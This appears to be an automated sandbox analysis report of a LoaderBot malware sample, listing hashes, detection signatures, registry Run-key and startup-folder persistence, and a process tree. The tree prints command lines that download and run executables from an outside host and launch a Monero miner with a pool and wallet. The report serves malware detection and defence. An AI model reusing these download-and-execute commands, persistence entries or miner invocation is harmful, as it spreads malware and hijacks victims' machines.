loaderbot | 4da864854d368ab640245f8174d247e0b9947045712d2d7449e25e7074b8587c

Analysis

max time kernel
151s
max time network
151s
platform
windows10_x64
resource
win10-en-20211208
submitted
09/01/2022, 15:01

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General

Target

4da864854d368ab640245f8174d247e0b9947045712d2d7449e25e7074b8587c.exe
Size

349KB
MD5

136860e019115c0eefd8cf669dd8963e
SHA1

fa99887f95f5e0fe48e37c2d464eb56ef1619031
SHA256

4da864854d368ab640245f8174d247e0b9947045712d2d7449e25e7074b8587c
SHA512

d5fa4175cc0d4a81325f693034e216e6122a4fe551a362f449ad21c5af757fc7f3f75fcaeacf3e7bbe393e2708d371c46ae16f9b8b5762fb9836d8397bf973e3

Score

10^/10

loaderbot loader miner persistence suricata upx

Malware Config

Signatures

LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
suricata

LoaderBot executable 3 IoCs

resource	yara_rule
behavioral1/memory/1008-144-0x0000000000070000-0x00000000004CB000-memory.dmp	loaderbot
behavioral1/memory/1008-153-0x0000000000070000-0x00000000004CB000-memory.dmp	loaderbot
behavioral1/memory/1008-150-0x0000000000070000-0x00000000004CB000-memory.dmp	loaderbot

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	2116	WScript.exe

Downloads MZ/PE file

Executes dropped EXE 9 IoCs

pid	Process
816	extd.exe
4080	extd.exe
1160	setup1.exe
3732	extd.exe
2504	setup2.exe
64	extd.exe
1008	setup3.exe
3244	extd.exe
2036	Driver.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000600000001ab19-118.dat	upx
behavioral1/files/0x000600000001ab19-119.dat	upx
behavioral1/files/0x000600000001ab19-123.dat	upx
behavioral1/files/0x000600000001ab19-129.dat	upx
behavioral1/files/0x000600000001ab19-135.dat	upx
behavioral1/files/0x000600000001ab19-145.dat	upx

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	setup3.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows\CurrentVersion\Run\Steam = "C:\\Users\\Admin\\AppData\\Roaming\\NVIDIA\\dllhost.exe"	setup2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\setup3.exe"	setup3.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2504	setup2.exe
1008	setup3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2204	1160	WerFault.exe	74

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings	cmd.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2504	setup2.exe
2504	setup2.exe
1008	setup3.exe
1008	setup3.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe
1008	setup3.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
632	Process not Found

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeRestorePrivilege	2204	WerFault.exe
Token: SeBackupPrivilege	2204	WerFault.exe
Token: SeDebugPrivilege	2204	WerFault.exe
Token: SeDebugPrivilege	1008	setup3.exe
Token: SeDebugPrivilege	2504	setup2.exe
Token: SeLockMemoryPrivilege	2036	Driver.exe
Token: SeLockMemoryPrivilege	2036	Driver.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 1188 wrote to memory of 3580	1188	4da864854d368ab640245f8174d247e0b9947045712d2d7449e25e7074b8587c.exe	70
PID 1188 wrote to memory of 3580	1188	4da864854d368ab640245f8174d247e0b9947045712d2d7449e25e7074b8587c.exe	70
PID 3580 wrote to memory of 816	3580	cmd.exe	71
PID 3580 wrote to memory of 816	3580	cmd.exe	71
PID 3580 wrote to memory of 816	3580	cmd.exe	71
PID 3580 wrote to memory of 2116	3580	cmd.exe	72
PID 3580 wrote to memory of 2116	3580	cmd.exe	72
PID 3580 wrote to memory of 4080	3580	cmd.exe	73
PID 3580 wrote to memory of 4080	3580	cmd.exe	73
PID 3580 wrote to memory of 4080	3580	cmd.exe	73
PID 3580 wrote to memory of 1160	3580	cmd.exe	74
PID 3580 wrote to memory of 1160	3580	cmd.exe	74
PID 3580 wrote to memory of 1160	3580	cmd.exe	74
PID 3580 wrote to memory of 3732	3580	cmd.exe	75
PID 3580 wrote to memory of 3732	3580	cmd.exe	75
PID 3580 wrote to memory of 3732	3580	cmd.exe	75
PID 3580 wrote to memory of 2504	3580	cmd.exe	78
PID 3580 wrote to memory of 2504	3580	cmd.exe	78
PID 3580 wrote to memory of 2504	3580	cmd.exe	78
PID 3580 wrote to memory of 64	3580	cmd.exe	79
PID 3580 wrote to memory of 64	3580	cmd.exe	79
PID 3580 wrote to memory of 64	3580	cmd.exe	79
PID 3580 wrote to memory of 1008	3580	cmd.exe	80
PID 3580 wrote to memory of 1008	3580	cmd.exe	80
PID 3580 wrote to memory of 1008	3580	cmd.exe	80
PID 3580 wrote to memory of 3244	3580	cmd.exe	81
PID 3580 wrote to memory of 3244	3580	cmd.exe	81
PID 3580 wrote to memory of 3244	3580	cmd.exe	81
PID 1008 wrote to memory of 2036	1008	setup3.exe	83
PID 1008 wrote to memory of 2036	1008	setup3.exe	83

C:\Users\Admin\AppData\Local\Temp\4da864854d368ab640245f8174d247e0b9947045712d2d7449e25e7074b8587c.exe
"C:\Users\Admin\AppData\Local\Temp\4da864854d368ab640245f8174d247e0b9947045712d2d7449e25e7074b8587c.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1188
- C:\Windows\System32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\319.tmp\329.tmp\32A.bat C:\Users\Admin\AppData\Local\Temp\4da864854d368ab640245f8174d247e0b9947045712d2d7449e25e7074b8587c.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3580
- - C:\Users\Admin\AppData\Local\Temp\319.tmp\329.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\319.tmp\329.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:816
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\14748\123.vbs"
    3⤵
    - Blocklisted process makes network request
    PID:2116
- - C:\Users\Admin\AppData\Local\Temp\319.tmp\329.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\319.tmp\329.tmp\extd.exe "/download" "http://a0617224.xsph.ru/1.exe" "setup1.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:4080
- - C:\Users\Admin\AppData\Local\Temp\14748\setup1.exe
    setup1.exe
    3⤵
    - Executes dropped EXE
    PID:1160
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1160 -s 412
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2204
- - C:\Users\Admin\AppData\Local\Temp\319.tmp\329.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\319.tmp\329.tmp\extd.exe "/download" "http://a0617224.xsph.ru/2.exe" "setup2.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3732
- - C:\Users\Admin\AppData\Local\Temp\14748\setup2.exe
    setup2.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2504
- - C:\Users\Admin\AppData\Local\Temp\319.tmp\329.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\319.tmp\329.tmp\extd.exe "/download" "http://a0617224.xsph.ru/3.exe" "setup3.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:64
- - C:\Users\Admin\AppData\Local\Temp\14748\setup3.exe
    setup3.exe
    3⤵
    - Executes dropped EXE
    - Drops startup file
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1008
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2036
- - C:\Users\Admin\AppData\Local\Temp\319.tmp\329.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\319.tmp\329.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3244

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1008-157-0x0000000074D30000-0x00000000752B4000-memory.dmp

Filesize
5.5MB

Download
memory/1008-147-0x00000000749D0000-0x0000000074B92000-memory.dmp

Filesize
1.8MB

Download
memory/1008-156-0x00000000740B0000-0x0000000074130000-memory.dmp

Filesize
512KB

Download
memory/1008-158-0x0000000076200000-0x0000000077548000-memory.dmp

Filesize
19.3MB

Download
memory/1008-153-0x0000000000070000-0x00000000004CB000-memory.dmp

Filesize
4.4MB

Download
memory/1008-152-0x0000000000A10000-0x0000000000ABE000-memory.dmp

Filesize
696KB

Download
memory/1008-149-0x00000000748D0000-0x00000000749C1000-memory.dmp

Filesize
964KB

Download
memory/1008-165-0x0000000005410000-0x0000000005476000-memory.dmp

Filesize
408KB

Download
memory/1008-144-0x0000000000070000-0x00000000004CB000-memory.dmp

Filesize
4.4MB

Download
memory/1008-150-0x0000000000070000-0x00000000004CB000-memory.dmp

Filesize
4.4MB

Download
memory/1008-166-0x0000000005250000-0x0000000005251000-memory.dmp

Filesize
4KB

Download
memory/1008-146-0x0000000000AC0000-0x0000000000AC1000-memory.dmp

Filesize
4KB

Download
memory/1160-130-0x0000000002510000-0x0000000002570000-memory.dmp

Filesize
384KB

Download
memory/2036-170-0x00000000001B0000-0x00000000001C4000-memory.dmp

Filesize
80KB

Download
memory/2036-171-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/2036-172-0x0000000000420000-0x0000000000440000-memory.dmp

Filesize
128KB

Download
memory/2504-154-0x0000000001290000-0x00000000012F2000-memory.dmp

Filesize
392KB

Download
memory/2504-163-0x00000000055C0000-0x0000000005652000-memory.dmp

Filesize
584KB

Download
memory/2504-136-0x0000000000050000-0x0000000000051000-memory.dmp

Filesize
4KB

Download
memory/2504-159-0x0000000074D30000-0x00000000752B4000-memory.dmp

Filesize
5.5MB

Download
memory/2504-151-0x0000000001290000-0x00000000012F2000-memory.dmp

Filesize
392KB

Download
memory/2504-160-0x0000000076200000-0x0000000077548000-memory.dmp

Filesize
19.3MB

Download
memory/2504-161-0x0000000000310000-0x0000000000311000-memory.dmp

Filesize
4KB

Download
memory/2504-162-0x00000000059E0000-0x0000000005EDE000-memory.dmp

Filesize
5.0MB

Download
memory/2504-155-0x00000000740B0000-0x0000000074130000-memory.dmp

Filesize
512KB

Download
memory/2504-164-0x0000000001280000-0x000000000128A000-memory.dmp

Filesize
40KB

Download
memory/2504-148-0x00000000748D0000-0x00000000749C1000-memory.dmp

Filesize
964KB

Download
memory/2504-137-0x0000000001290000-0x00000000012F2000-memory.dmp

Filesize
392KB

Download
memory/2504-138-0x00000000749D0000-0x0000000074B92000-memory.dmp

Filesize
1.8MB

Download
memory/2504-139-0x0000000000D20000-0x0000000000D65000-memory.dmp

Filesize
276KB

Download